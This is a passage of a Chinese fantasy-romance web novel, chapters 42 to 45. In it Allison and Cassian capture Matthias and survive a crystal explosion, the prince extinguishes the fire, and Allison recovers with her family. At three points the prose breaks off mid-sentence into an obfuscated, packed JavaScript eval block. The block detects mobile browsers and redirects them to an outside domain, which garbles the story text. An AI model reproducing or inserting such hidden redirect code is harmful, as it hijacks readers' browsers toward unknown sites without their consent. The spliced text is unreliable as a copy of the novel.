卡洛的动作停顿了，像是被无形的手抓住了一般。他的瞳孔剧烈收缩，卡西恩的形象开始模糊，取而代之的是另一个人。 ——布莱克公爵。 他看着卡洛，面容冷淡。 “你太让我失望了，卡洛。” “从一开始，你就不够格成为我的继承人。” “布莱克家不需要废物。” 卡洛嘴唇发白，握着重剑的手开始颤抖，如同陷入了最深沉的梦魇，他低声喃喃道： “不是的，父亲，您说过 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他抽出腰间细剑，步步逼近卡西恩，傀儡们亦随着他的脚步移动。 卡洛的额间渗出细汗，虽然相处时间短暂，但他比任何人都清楚，马提亚斯.法尔肯的可怕与残酷。 眼下自己被卡西恩所擒，对于诺森德尔来说，已是无用的累赘，甚至说，他已经知道了太多秘密—— 死亡的恐惧让卡洛的表情扭曲起来，再也看不出昔日的骄傲，他大声喊道： “停下，马……不，法尔肯少尉，停下！” 马提亚斯充耳不闻，甚至有些嫌恶地皱起眉。 “实验体0号。” 突然，卡西恩口中吐出一个词。 少年军官的脚步顿住了。 “你说什么？” “赛琳.罗德里克并不是古斯塔夫实验中唯一的幸存婴儿。” 卡西恩语气平静，马提亚斯却逐渐变了脸色。 “埃德加.威尔逊，皇室密探，十五年前追杀古斯塔夫教授行动主要负责人，据他所说，那位教授留下了一本笔记，详细记录了他‘人造魔血计划’的全部数据。” 卡西恩的目光越过了马提亚斯，像是停在了某个久远的过去。 “那本笔记中最重要的，是记载了唯二的成功例子。如果我没有猜错，贵国想要赛琳，便是这个原因吧？” 马提亚斯以沉默代替回答，但卡西恩知道，自己说中了。 “后来，笔记落入古斯塔夫教授的诺森德尔助教手中，却缺失了好几页。其中，记载了‘实验体0号’的相关信息，诺森德尔多方调查，却一无所获，只能暂时放弃这个方向，转向‘1号’，也就是赛琳.罗德里克。” “现在，‘实验体1号’已经逃脱，”卡西恩金绿色的眼睛看向马提亚斯,像是玩弄人心的恶魔，清楚地捕捉到了他的动摇，“‘法尔肯少尉’，你的任务已经失败，回去以后难免受到处分，难道不想代罪立功吗？” 不知何时，马提亚斯离卡西恩的距离已不足五步，卡西恩的瞳孔无声无息地改变了形状。 如同藏于树从中的猛兽，安静地等待着猎物完全放下防备。 傀儡们停下了动作。 突然，卡西恩高声喊道：“艾莉森，动手！” 枪声响起。 他一直看着的方向，根本不是某个虚无飘缈的过去。 而是藏身在木箱阴影中的艾莉森.兰卡罗德！ 42. 偏移值：5% 在卡西恩发出命令之前，艾莉森已在暗中潜伏了许久。 如她所料，卡洛没有返回之前囚禁她的仓库，那里空无一人. 也许是因为大意，又也许是因为过于急切，皇血匕首和炼金魔枪被随意丢弃在墙角，艾莉森轻轻松松就找到了它们。 正当艾莉森准备离开，仓库另一头却隐约传来了打斗声。 她竖起耳朵，仔细辨别着方位： 她这才发现，其实囚禁赛琳和自己的的地方，相隔并不远—— 怪不得刚才传来的爆炸声如此清晰。 这间仓库里堆着大小不一的木箱，大概是长时间没有整理过，与废弃的货架和隔板组成了迷宫一般的通道和结构，正是利用了这些，才能让她摆脱卡洛的追踪。 艾莉森想了想，放轻脚步，小心地绕开障碍物，往声音传来的地方潜去，很快，便发现这两处居然是相通的。 不论是出于对相互支援的考虑，还是审讯或者转移的方便程度，就战略而言，这并不是个糟糕的主意。 从转移、看守，乃至联动支援的角度来看，这样的布局在战略上并不糟糕，甚至可以说是合理的安排。 真正的问题出在执行层面——卡洛不仅自负，对实战几乎一无所知。只要脱离了讲究规则的演武场，他的缺陷便暴露得一览无遗。 相比之下，诺森德尔显然务实得多，艾莉森不敢想象，如果今日与马提亚斯联手的不是卡洛，而是之前被卡西恩杀死的那个女间谍，或是他们有更多的人手，局面恐怕早已失控。 ——他们是极其可怕，不可小觑的敌人。 打斗的声音越来越近，艾莉森从木箱中的缝隙看过去，不到三十步的地方，马提亚斯背对着她，正操纵着傀儡士兵围攻卡西恩！ 艾莉森屏住呼吸，小心地绕过障碍物，缓缓举起了炼金魔枪，将准星锁定在马提亚斯的后背。 以她的枪法，虽然不能保证一枪爆头，但要命中却是绰绰有余。 魔晶的辉光一闪而过。 激烈的战斗中，这光芒微乎其微，但卡西恩却偏偏注意到了，视线竟与艾莉森短暂交会。 他居然发现了自己。 那人一边在傀儡的攻击中游走，一边以口型对她说： “别动。” 没有时间多想，艾莉森再度将身形缩回藏身于堆叠的箱子后，冷静观察战局： 卡西恩干脆利落地击倒了一个又一个的傀儡——但他的体力也同样消耗得很快。 卡洛从后方杀出，他甚至还大喊了一声，像是生怕卡西恩不知道他砍过来似的，自然，卡西恩轻松避开，并展开了他最擅长的嘴炮攻击—— 他迅速地擒住了卡洛，局势瞬间逆转。 她瞄准的手微微抖了抖，卡洛这个大少爷脑子发热，如果不是他非要在这时前来搅局，恐怕卡西恩迟早会被马提亚斯耗死。 不过话又说回来，如今这局面，也许根本没有自己插手的必要了。 一切似乎都在朝着他们的计划进行着，只要能生擒住两人，坐实卡洛勾结诺森德尔的证据，乃至进一步探查到，背后隐藏的布莱克公爵的秘密。 然而，马提亚斯似乎根本不打算管卡洛的死活，谈判破裂了。 艾莉森深吸一口气，收起了看戏的心态。 卡西恩和那个少年军官说着什么，距离太远，她听不清楚，但从卡洛的表情看来，马提亚斯似乎准备下杀手。 艾莉森再次瞄准。 突然，马提亚斯的动作停滞了。 紧接着，便是那句：“艾莉森，动手！” 没有丝毫犹豫，她按下扳机。 魔晶子弹击中了马提亚斯的腿部，他向前一扑，跪了下来。 与此同时，卡西恩一记肘击，卡洛直接晕了过去，连哼都没来得及，便被他往旁一扔。 紧接着，他欺身而上，长靴踩住马提亚斯的手掌，狠狠一碾。 金发少年惨叫一声，指骨尽碎。 马提亚斯仍旧试图挣扎，但冰冷的枪口已抵住了他的后脑，他回过头去，正对上艾莉森的冰冷的眼神。 “是你……”他恶狠狠地盯着她，眼中尽是不可置信，像是终于意识到自己犯下了怎样的错误。 他的目光随即转向一旁的卡洛，简直像是要把他活剐了一样。 “游戏结束了，‘法尔肯少尉’。” 卡西恩欣赏着少年军官痛悔的神色，笑了起来。然后仓库里丢弃的绳子，将马提亚斯绑住。 他蹲下身，恶意地笑着，揪住那少年军官沾血的金发，像是拧起一只待宰的鸡，迫使他抬起头来，然后狠狠地捏住马提亚斯的下巴： “很抱歉，你恐怕没机会回诺森德尔‘戴罪立功’了。” “卡西恩，”艾莉森出声提醒道：“这没有必要。” “哈，”卡西恩松开手，“看在兰卡罗德小姐为你说话的份上。” 冷不防地，马提亚斯猛地抬头，朝卡西恩啐出一口混着鲜血的唾液，骂出一句粗口： “享受你的胜利吧，阿尔特蒂亚的狗杂种。” 卡西恩从鼻子里轻哼一声，拇指沿着下颌线将脏污刮去，站起身来，轻蔑地说： “希望你到了军部的审讯室，还能这么硬气。” 马提亚斯神色微变，这位诺森德尔的少年军官低下了高傲的头颅，像是认命了一般，将表情隐藏在阴影之中。 卡西恩居高临下地看着他，又偏头瞥了眼依旧昏迷着的卡洛，眼中闪过一丝疯狂。 在极短时间内连续两次使用心灵魔法，反噬正在侵蚀着他的魔力回路，影响着他的情绪。 强烈的破坏欲在胸腔中翻滚升腾，如同一头野兽在他体内咆哮，要将眼前已经被俘的敌人撕碎。 捏碎骨头，拧断脖子，用他们的鲜血浸透自己，只有这样才能够让那宛如烈焰烧灼的恨意冷却下来。 “卡西恩，卡西恩！” 少女的声音穿透了他此刻混乱的神智，让卡西恩的目光重新聚焦起来。 “你还好吧？” 卡西恩没有回答，他扶着额头，汗水从鬓角滑落，体内好似被无数虫蚁啃食着，脑中闪过无数的画面。 肮脏的贫民窟，继父的拳脚，漆黑的矿井—— “贱种！”他像狗一样地匍匐着，卡洛的鞭子抽在背上，“你也配姓布莱克？” 被他叫做“父亲”的灰头发男人，玩弄着手中的水晶棋子，对他说：“感谢我赐予你的机会吧，卡西恩。” 还有军校里那些从前瞧不起他的蠢货，在卡洛断臂后对他点头哈腰，叫他：“卡西恩阁下。” 最后，还有那个人——光芒万丈，天生就应该坐在王座之上的银发少年，用紫色的眼睛看着他，说： “你根本比不上我。” 卡西恩的呼吸越发粗重，他意识到这是魔力反噬的影响，却根本无力将这些画面从脑海中驱逐出去。 他知晓了体内那头野兽的名字—— 欲/望。 忽然，眼前的画面改变了。 酒馆昏黄灯光下的纤细身影，靠近时若有似无的玫瑰花香； 那个突然闯进自己梦里的林中女妖，她吻自己的额头——长着一张艾莉森的脸。 “卡西恩，振作点！” 艾莉森发现他的情况不对，连忙伸手扶住了他的肩膀。 她离得很近，白皙的皮肤沾染了污渍，头发也有些凌乱，这丝毫没有折损她的美丽。 毫无疑问，她是卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826060|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西恩见过最漂亮的女孩子——他迷迷糊糊地想。 艾莉森玫瑰花般丰润柔软的唇瓣一张一阖，似乎在对他说着什么，但卡西恩什么也听不见。 如果碰触她的话，是不是那让他痛苦无比的火焰就能能熄了灭呢？ 他猛地扣住了艾莉森的手腕，在她错愕的眼神中靠近，炽热的呼吸近在咫尺。 就在卡西恩即将碰触到她的唇的时候，身后传来马提亚斯怨毒的声音。 “去地狱谈恋爱吧。” 他反绑在身后的手上泛起暗紫色的魔纹。 横七竖八倒在地上的傀儡，像是呼应着主人的召唤一样，胸腔急速地颤抖起来。 “诺森德尔万岁！” 轰—— 整个世界被魔晶石爆炸产生的白光撕裂了—— 时间像是静止一般，耳膜仿佛被刺穿，响起的只有尖锐的，永无止尽的嗡鸣。 马提亚斯和卡洛的身体在这光芒中被撕得粉碎。 艾莉森什么也看不见了。 她甚至还没来得及恐惧，就被那可怕的冲击吞没。 最后的记忆，是卡西恩将她扑倒，将她压在身下，护住了她。 也不知道过去了多久，艾莉森缓缓睁开了眼。 整个仓库充斥着浓烟和灰尘，空气里刺鼻的焦糊味扑面而来，到处都散落着傀儡碎片和人类的残肢，紫色的火焰将一切点燃，宛如地狱。 这是魔晶石能量爆炸后的残留。 身边的皇血匕首，已经断成了数截—— 是埃德蒙的力量保护了自己。 同样处在爆炸中心的另外两人，已经只剩下血肉的残渣，卡洛的那条金属残臂静静地躺在焦黑的地面上，像是死神遗落的证物。他处心积虑要杀死卡西恩，最后，却如此轻易地在昏迷中失去了性命。 艾莉森只觉得胃里一阵翻江倒海，差点呕了出来。 她试图挪动，只听见一声闷响，原本压在身上的重量随之滑落。 是卡西恩。 皇血匕首形成的魔力阻隔护盾，也在他压住自己的时候，保护了他。 然而此时此刻，黑发少年紧紧地闭着眼睛，脸色苍白，一动不动。 “卡西恩！” 他没有任何反应。 巨大的恐惧笼罩了艾莉森。 她从来没有这么害怕过—— 她颤抖着将手指贴在他鼻子下面。 极其微弱的气息掠过指腹。 她愣一愣，猛地俯下身，将耳朵贴在他胸口。 扑通，扑通。 卡西恩还有心跳，他还活着。 艾莉森终于松了口气。眼泪不由自主地流了出来，一滴滴落在卡西恩的脸上。 接着，她踉跄着站起，将昏迷的少年扛在肩上。 “该死……这家伙好沉……” 卡西恩比她高了一个头，纵然军校生体力好，艾莉森还是拼尽浑身的力气，才终于把他背了起来。 一步、两步、身上的伤口被动作牵扯，痛得钻心。 爆炸后的通道已是面目全非，焦黑的木箱残片，坍塌的货架和柱子，在这一刻都化作了拦路的恶鬼。 魔晶爆炸引发的火灾和普通的火灾不同，雨水无法将它扑灭，极为致命。 以魔力为燃料的“污染”正在蔓延，如果在这样的环境下呆久了，轻则患上魔血病，重则引发魔力回路紊乱，当场暴毙。 他们必须尽快离开。 艾莉森渐渐恢复了冷静。 算算时间，赛琳应该已经联系上了凯恩，只要能撑到出口，就可以—— 我会带你出去的，卡西恩。 眼前浮现出那人近在咫尺的脸。 你还欠我一个解释。 43. 偏移值：5.5％ 整个仓库区被笼罩在地狱之火中，魔晶爆炸引发的紫色火光宛如妖异的巨蛇，天空被染成了紫色，像是被诅咒了一般。。 军部和王都警备队早已在外围严正以待，但没有人敢贸然冲进这片火海。 “混蛋，还要多久才能灭火？”凯恩怒吼着，他的声音已经喊哑了，脸上的汗水和灰尘混杂在一起，但作为没有魔力的“普通人”，他根本无法靠近。 “兰卡罗德中尉，您不能再往前了！” 两名士官死死拦着凯恩，一人甚至抱住了他的腰。 “我妹妹在里面！”凯恩一把挥开拦着他的士兵，眼里尽是血丝。“都给我闪开！” “请您冷静，兰卡罗德大人！——您这样冲进去是白白送死！” 说话的人是赛琳，她眼眶泛红，明亮的绿色眸子里却有着十分坚定的力量。 她站在凯恩身前，不让他再前进一步。 几刻钟前，赛琳按艾莉森的指点，逃出了仓库区，找到了带人前来驰援的凯恩。然而，她甚至还没来得及解释清楚事情的来龙去脉，便发生了爆炸，地狱之火将她来时的路径吞噬。 紫色的火光映在她的眼底，赛琳几乎立刻便想要冲回去找艾莉森，却在迈步的一瞬，停了下来。 “我知道您担心艾莉森，我也——”她的声音在微微颤抖着，“但您现在不能冲进去，您是艾莉森珍视的家人，她一定不愿意见到您也遭遇危险！” 她死死抓着凯恩的袖口，仿佛在说服他，也仿佛在说服自己： “我们要相信她，她和卡西恩都一定……一定还活着……” 凯恩低头看着赛琳，这个小姑娘比他矮了近两个头，从那并不伶俐的表述里，他知道艾莉森就是为了救她，才让自己陷入了险境。 她有什么资格来让自己冷静？ 还有那个布莱克家的小子，他也被困在里面了？ 他之前怎么说的？“帮助军部铲除诺森德尔在王都的暗桩”？ 真是见了鬼了，他居然听信一个满嘴谎言的布莱克—— 如果为了这些破事，失去了艾莉森…… 凯恩根本不敢再往下想，他冷冷地扫了赛琳一眼，甩开她的手： “走开。” 凯恩强迫自己不去看身后的紫色炼狱，转身朝另一侧正在布置灭火法阵的警备队走去。 火光在夜色中翻腾，时间一分一秒过去，军部的士兵们围成了警戒线。他们大多出身兰卡罗德派系，魔力较弱，甚至还有相当一部分出身平民，根本不具备魔血。战场之上，他们凭借炼金武器战斗，但此刻面对不受控制的魔力爆炸引起的大火，却是束手无策。 王都警备队却是另一番景象。 魔法师们念诵咒文，闪耀着各色光芒的魔法交织在空中，构成一道又一道的符文屏障，扑向咆哮的烈焰巨兽，不让它向城市蔓延。魔法师的能力并不弱，然而在这铺天盖地的火舌之前，魔法的力量却杯水车薪，每一次轰鸣之后，伴随着的便是新一轮的反扑。 “空气中的魔力浓度太高了，无法让火焰静默下来！” “不要后退，撑住，将屏障扩大到整个区域！” 法师们的呐喊和术式的轰鸣混杂在一起，不断有人因力竭被抬到一旁休息，却始终无法踏足爆炸的中心区域。 “薇拉，你的人就这么不中用？”凯恩走近，目光扫过那些正在休整的法师，语气嘲讽。 身穿绿色法袍的女性法师转过身来，她名叫薇拉.坎贝尔，是现任王都警备队的指挥官，也是布莱克公爵的亲信之一。作为布莱克派系的一员，她自然看不惯兰卡罗德为首的军部，和凯恩很不对付。 “兰卡罗德中尉，再不中用，也比您什么都不做强。” 薇拉连眼神都不想施舍给凯恩，她勾起一个好似淬了毒的笑容，字句里尽是讽刺： “还是说，您打算借助兰卡罗德家引以为傲的破铜烂铁，来助我们一臂之力？” 凯恩眼底掠过一丝杀意，他很肯定，这个女人现在心里惦记的根本不是灭火，而是她那顶头上司的两个宝贝儿子。 他甚至怀疑，要不是为了那两位，她巴不得这场火烧得越旺越好，这样便能把布莱克家和诺森德尔勾结的证据销毁得一干二净。 凯恩正要发作，却听见一阵马蹄声由远及近传来。 浓重的火光映照之下，为首之人身着骑装，银发在夜风中显得格外耀目—— 阿尔特蒂亚皇太子，埃德蒙.雷恩殿下。 “吁——” 埃德蒙一勒缰绳，在凯恩和薇拉面前停下，翻身下马。 他身后，跟着埃德加.威尔逊，还有同样出身兰卡罗德家，现任炼金研究院院长，海蒂.兰卡罗德。 埃德蒙挥挥手，制止了正要行礼的薇拉和凯恩，与平日里温和的神色不同，他紫色的眸子里此刻满是肃杀之意。 “——全部让开。” 不论是军部众士兵，还是警备队的法师，皆被他语气中的威严震慑，立刻退到两边，让出一条道来。 埃德蒙站在烈焰与浓烟的尽头，看着眼前紫色炼狱，微微蹙起了眉。 下一刻，他缓缓举起右手，掌心朝向火海深处。 金色的光芒在他眼中流转，将他原本紫色的眸子渐渐吞没，紧接着，那光芒自眼底蔓延，他全身都笼罩在一片华光之中，又或者说，那些辉光像是从他的骨血中生长出来的一样，连皮肤都逐渐透出耀目的光亮。 若是仔细看去，那并非纯粹的光芒，而是由无数细小繁复的魔纹组成，环绕着他的身体，不断地流转，变化，编织，形成极其复杂的徽记。明明没有起风，他身后的披风却飞扬起来，猎猎作响，如同天神降临时张开的羽翼。 埃德蒙仿佛已非凡人之躯。 “是‘皇血律令’……” 有人低声惊呼。 这是阿尔特蒂亚王室的象征，传承数百年的圣血造就的魔法奇迹。 埃德蒙抬起手，魔纹在他掌中汇聚成巨大的光柱，宛如直指天空的神剑，与那诡异妖艳的紫焰分庭抗礼。紧接着，那光柱轰然铺展开，像一道无限延伸的金色幕布，将整个仓库区隔绝。 从来没有人见过这样的景象。 多年以后，仍有目睹了一切的老兵满脸敬畏地向后人讲述起王储殿下那壮丽磅礴的力量： “那时候，我以为自己见到了神明……” 光幕逐渐合拢，所过之处，肆虐的紫焰尽数熄灭，只留下一片焦黑断裂的废墟残壁和空气中尚未散尽的焦糊气味。 当最后一缕光芒回归到埃德蒙手中，那将天空点亮的神圣辉光也逐渐黯淡，最后，消失在埃德蒙的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她还没有死，我一定要去救她。”另一个声音在脑海中呐喊着，比过度使用皇血律令带来的反噬更加痛苦，仿佛要将他心也一起撕裂。 但他说不出话，只是固执地往前走。 薇拉似乎还想阻拦，但待她看清那位总是温文尔雅的王子眼中汹涌的感情时，她知道，阻拦并没有意义。 “殿下……”但这一次，拦住他的却是海蒂。 “请不要阻止我，海蒂院长。” 海蒂抬起手上的魔导器，转动胸针，屏幕上的小光点正缓慢地朝他们移动，距离已经越来越近。 “保持理性，才更能够明白感情的可贵，”她语气微微一顿，看向魔导器指向的方向，“以及——即时发现重要的事实。” 浓烟的尽头处，缓缓显出了一道熟悉的身影。 艾莉森背着比她自己高大不少的黑发少年，一步，两步……从火场中走了出来。 “哥哥，赛琳……”她看向熟悉的面孔，最后，目光落在埃德蒙的脸上。 艾莉森眯起眼，试图看清王子殿下的表情，但眼前的景物却变得模糊起来。 殿下，为什么您看上去那么悲伤呢？ 她想要问埃德蒙，但下一刻，艾莉森晕了过去。 44. 偏移值：5.5% 传说之国，阿尔特蒂亚，神明降临之地，我们的故乡…… 神树的树冠遮蔽天空，每一片叶子都在散发着光辉，河流一般汇集至粗壮的树干，仿佛赋予了它金色血脉，最后流向大树的根部。 恢弘的力量延伸至地底，形成如海洋一般广阔的魔晶石群，光芒渐渐变为蓝紫色，最后彻底黯淡。 生命之树啊，请赐予我们不朽的力量…… 像是回应祈祷般，神树的光芒变得越发炽烈，几乎让人睁不开眼。 终于，世界归于平静，只有一片闪光的叶子，缓缓飘落在少年的掌心，接触他皮肤的刹那，仿佛融化的冰晶般进入到他的体内。 这名少年，成了阿尔特蒂亚的王，古老圣血的继承者。 又过了数千年，没有人再见过神树，阿尔特蒂亚亦在漫长的历史中分裂成好几个国家—— 崇拜神树及圣血，重视传统和血脉继承的原阿尔特蒂亚； 否认神树存在，认为传说不过是捏造的北方国家诺森德尔； 以及中立国锡兰。 我们的故事，便自此开始—— 一名少女，将会改变这片大陆的命运。 ——阿尔特蒂亚传奇。 艾莉森缓缓地睁开眼。 视线中出现的，是自己房间的天花板。 刚才的画面……是梦。 是游戏《阿尔特蒂亚传奇》的开场画面—— 为什么会梦见这个？ 这和她以前那些关于前世的梦境完全不同。 不等艾莉森细想，贴身侍女梅芙的又惊又喜的声音已在耳边响起： “小姐，您终于醒了！” 这是在兰卡罗德府邸，她自己的房间。 艾莉森撑着身子想坐起来，但全身骨头却像是散架了一样，怎么都使不上力。梅芙见状，连忙为她在身后垫了两个大枕头，扶着她靠上去。 “您昏迷了三天了，医生说，您之前胳膊上的伤势还没痊愈，又吸入了不少魔晶烟尘，现在身体很虚弱，我这就去为您准备一些食物。” “等等，你说三天？” 艾莉森叫住梅芙，瞪大了眼睛。 她最后的记忆，是背着卡西恩从火场里逃出来，居然已经过了这么久吗？ “是啊，埃德蒙殿下和凯恩少爷抱着您回来的时候，小姐的脸色苍白极了，身上也到处是伤，可把我们吓坏了。”梅芙想起那天的情境，依旧有些惊魂未定似的，“老爷怕您出事，快马加鞭给夫人送了信去……” “连母亲都回来了？” “这几天夫人一直守着您，也就是刚才实在撑不住了，才去休息。” 艾莉森低下头，心里有些酸涩。那个时候，她的确命悬一线，全靠意志力撑着。紫色的火焰仿佛持着镰刀的死神在她身后追赶，她不能想，也不敢想父亲和母亲，好像那么做了就会被追上似的。 这不是她第一次面对死亡了，但是回想起来，仍旧止不住颤抖。 正在这时，门再次被推开。 “艾莉森！” 维罗妮卡将她一把抱在怀里，她的发髻远不如平时整齐，衣服的褶皱也没有理平，全不似艾莉森印象中那个总是无懈可击的贵妇人。 “你吓死我了……”维罗妮卡捧着艾莉森的脸，眼眶又红了起来，“我好怕你再也醒不过来了，那样的话，母亲恐怕也活不下去了……“ 见她这样，艾莉森再也忍不住，回抱住她，像个孩子似地哭了出来。 自从维罗妮卡和公爵分居，搬去南方领地，艾莉森和母亲的关系就变得很别扭。 她一直想要讨她的欢心，满足她的期待，可不论怎么做，母亲都不满意，到了后来，艾莉森决定进入皇家军事学院，更是大大违逆了维罗妮卡的意愿，霜雪节过后，母女二人关系一度落到冰点，连书信都没有来往。 如今艾莉森死里逃生，在母亲陌生又熟悉的怀抱里，她才终于敢放下所有硬撑的坚强，放下对命运和死亡的恐惧，嚎啕大哭。 威廉公爵看着她们，坚毅的脸上难得地浮现出感伤的情绪，有些迟疑地把手放在了维罗妮卡的肩膀上，他的妻子身体僵了僵，却没有似往常一样避开。 凯恩沉默了一瞬，走上前去，将母亲、妹妹和父亲一起抱住。 这一刻，就连一旁的佣人们也红了眼眶，什么头衔，职位，都不重要，他们是一家人，仅此而已。 过了好些时刻，维罗妮卡和艾莉森的情绪才似乎平静下来，她从梅芙手中的盘子上取过水来，递给艾莉森，随即用手帕擦了擦眼泪，抚摸着女儿的头发，轻声说： “这段时间母亲就不回南方了，我会留在王都照顾你。” 艾莉森看着她，本想说一句“还是不要劳累母亲”，但最后，却只是低地应了一声：“嗯。” 维罗妮卡已经很久没有和女儿有这样温情的时刻，一时竟有些不习惯，她坐直了身体，指了指房间里摆放的花束，道： “艾莉森，这些花都是埃德蒙殿下送来的。” 艾莉森这才注意到，自己房间里，除了她最喜欢的银月玫瑰，还有各色名贵而繁复的花束，大多是白色和紫色组成，偶尔点缀一两处浓烈的颜色，像是被妆点在温柔优雅的外在下，克制的感情。 维罗妮卡意味深长地看着艾莉森：“我从未听说殿下对王都中别的贵族小姐这么上心。” “这一次，若非殿下使用皇血律令灭火，我恐怕就要失去你了……” 说着说着，维罗妮卡又掉下泪来。 “殿下救了你，就是救了我啊……” “母亲……” 艾莉森对埃德蒙的感情，并不是毫无察觉。不知道从什么时候开始，王子殿下对她的态度就变了，她当然知道这意味着什么——若是以前，她恐怕会欣喜若狂吧？ 平心而论，她对殿下绝对谈不上讨厌，这次的事情，也正像母亲所说，是蒙受了殿下的大恩，但问题是，现在的她，压根就不想成为什么王妃！ 且不说克罗纳宫那位令人窒息的女王陛下，现在的局势下，还有太多事情需要她去做了，婚姻根本就不在考虑范围之内。 见艾莉森不说话，维罗妮卡似乎意识到了什么，蹙眉问道： “该不会，你真的……喜欢布莱克家的那个孩子吧？” 咳咳咳咳！ 艾莉森差点被刚喝下去的水呛到，下意识否认道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826062|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么可能！我和他……” 她愣了一瞬，抬头看向凯恩，急切地问道：“对了，卡……” 话音方落，她意识到母亲正用审视的目光看着自己，连忙改口道：“布莱克公子他怎么样了？——母亲，我和他不是您想得那样！” 不等凯恩回答，威廉公爵已是冷哼一声：“毒蛇就是毒蛇，自己的孩子一个死了，一个昏迷不醒，他却能抽出空来，在陛下和议会前质疑炼金科技的安全性！” 卡西恩，还在昏迷之中吗？ 听到这个消息，不知怎么，艾莉森觉得有些心口发紧。 “父亲，母亲，”这时候，凯恩插嘴道，“艾莉森好不容易醒来，正是需要休息的时候，我们便不要再让她烦心了。” “你们二位这几天担心妹妹，也都没好好休息。” 听他这么说，公爵夫妇也觉得有理，便不再纠结布莱克家的消息，又安慰了艾莉森几句，便退了出去。 见父母离开，艾莉森开始在心中默数。 一、二、三、四…… 果不其然，凯恩在她数到六十下左右的时候，折返了回来。 “你回来得真慢，亲爱的兄长大人。” 凯恩揉了揉头发，有些无奈地说：“你知道的，那两人一出了你这房间，气氛又僵起来。不过，现在他们倒有了共同的仇敌” “仇敌？” “布莱克家啊，老的小的，没一个好东西。”凯恩在艾莉森床前坐下，收敛起玩闹的神情：“你老实告诉我，你和那个叫做卡西恩的小子，真的什么都没有？” “能有什么……” 艾莉森有些心虚地反驳。 真要说的话，什么沃尔晶矿要和她私奔啊，钟塔密谈壁咚啊，还有—— 那个时候，他离得很近，近到自己能清晰地看见他下巴上青色的胡渣，近到能感受到他呼吸带起的热气—— 如果不是后面的爆炸，她几乎以为他会在那个不合时宜的场所，亲吻自己。 卡西恩脑子里到底都想些啥！ 艾莉森的脸颊有些发烫，她连忙伸手拍了拍自己，害怕被凯恩看出端倪。 但这些小动作怎么可能逃过凯恩这个王都著名花花公子的眼神，半晌，他叹了口气道： “艾莉森，他不是靠得住的人，”他认真地看着自己的妹妹，“从前我觉得你去军校是好事，然而……” 凯恩难得地露出几许忧虑的神色：“现今局势不稳，像仓库区这样的事情，我不希望再发生了。”他顿了顿，有些犹豫： “我本不该说这些……军部后来从那些仓库废墟里找到了许多东西——人类的残肢，被炸得焦黑，连谁是谁都分不出来，他们被移植了诺森德尔的炼金技术，在那些人眼里，士兵不过是耗材。我毫不怀疑，如果卡洛.布莱克还活着，他的身体也早晚会成为诺森德尔的实验品，然后被利用到渣都不剩。” “卡西恩.布莱克只会将你卷入危险，”凯恩握着艾莉森的手，郑重地说：“艾莉森，我不希望有一天你成为火场焦尸中的一人。” “敌人的残酷超出你的想象，如果有一天，我必须奔赴前线，至少，我希望你能平平安安地活着。” 45. 偏移值： 5.5% 艾莉森靠在床上，手里捧着本《阿尔特蒂亚战史》，穿着蕾丝花边的白色睡裙，长发如瀑布一般披在身后，阳光透过纱质的窗帘洒进摆满鲜花的房间，如果有宫廷画家无意中闯进，大概会想要提笔为眼前的病弱美人画上题为《病中的兰卡罗德小姐》的油画吧。 ……去他的。 去他的蕾丝睡裙，去他的如瀑长发，去他的病弱美人！ 她要无聊死了啊！！！！！！ 事实上，在艾莉森十五岁，马上就要步入十六岁的人生中，哪怕在她最沉迷舞会和社交的时期，也一直以自己身强力壮为傲。 当然，这在贵族圈子里常被列为她那些不讨人喜欢的罪状之一，但无论如何，比起把自己饿到头昏眼花，或者把“疗养”作为一种生活方式，她还是更喜欢两只脚稳稳踩在地面上的感觉。 只可惜，维罗妮卡并不这么认为。 作为资深“疗养”爱好者，维罗妮卡早已为女儿拟定了详细的“康复计划”： 从全天候的侍女轮班照顾，到定制食谱、房间器具乃至窗帘打开的角度，全都必须由公爵夫人的亲自审查； 每天还要亲自念诵神树诗篇，引领女儿静坐冥思，净化身心。 母亲当然是关心自己，然而这种贵族淑女的标准疗程，实在令艾莉森难以招架。 更有甚者，除了替她检查身体的医生，维罗妮卡还把她所有的访客都挡在了门外—— “我知道他们是你的同学，可他们是平民吧？我不是瞧不起他们，但平民区的卫生条件你也是知道的……” 至于贵族访客嘛……不是没有，但都是些平日里和她来往约等于零，纯粹是听说埃德蒙殿下每日送花，便迫不及待前来巴结这位“未来王妃”的趋炎附势之徒。 “母亲大人肯放行，我还不愿意见呢。” 只有面对凯恩的时候，艾莉森才总算能放松些，把这些日子的苦水倒了个遍。 “艾莉森，我发自内心地同情你。” 凯恩在椅子上反坐着，双臂环着椅背，下巴搁在交叠的手上，看起来十分悠闲，脸上的表情颇有种幸灾乐祸的意思，“别不乐意，母亲难得能逮到个照顾你的机会。” 艾莉森叹了口气：“我记得你前几年任务受伤，母亲虽然也回来了，也没有这样啊？” “那是因为军部一堆破事等着我回去处理，我倒想多休息几天。” 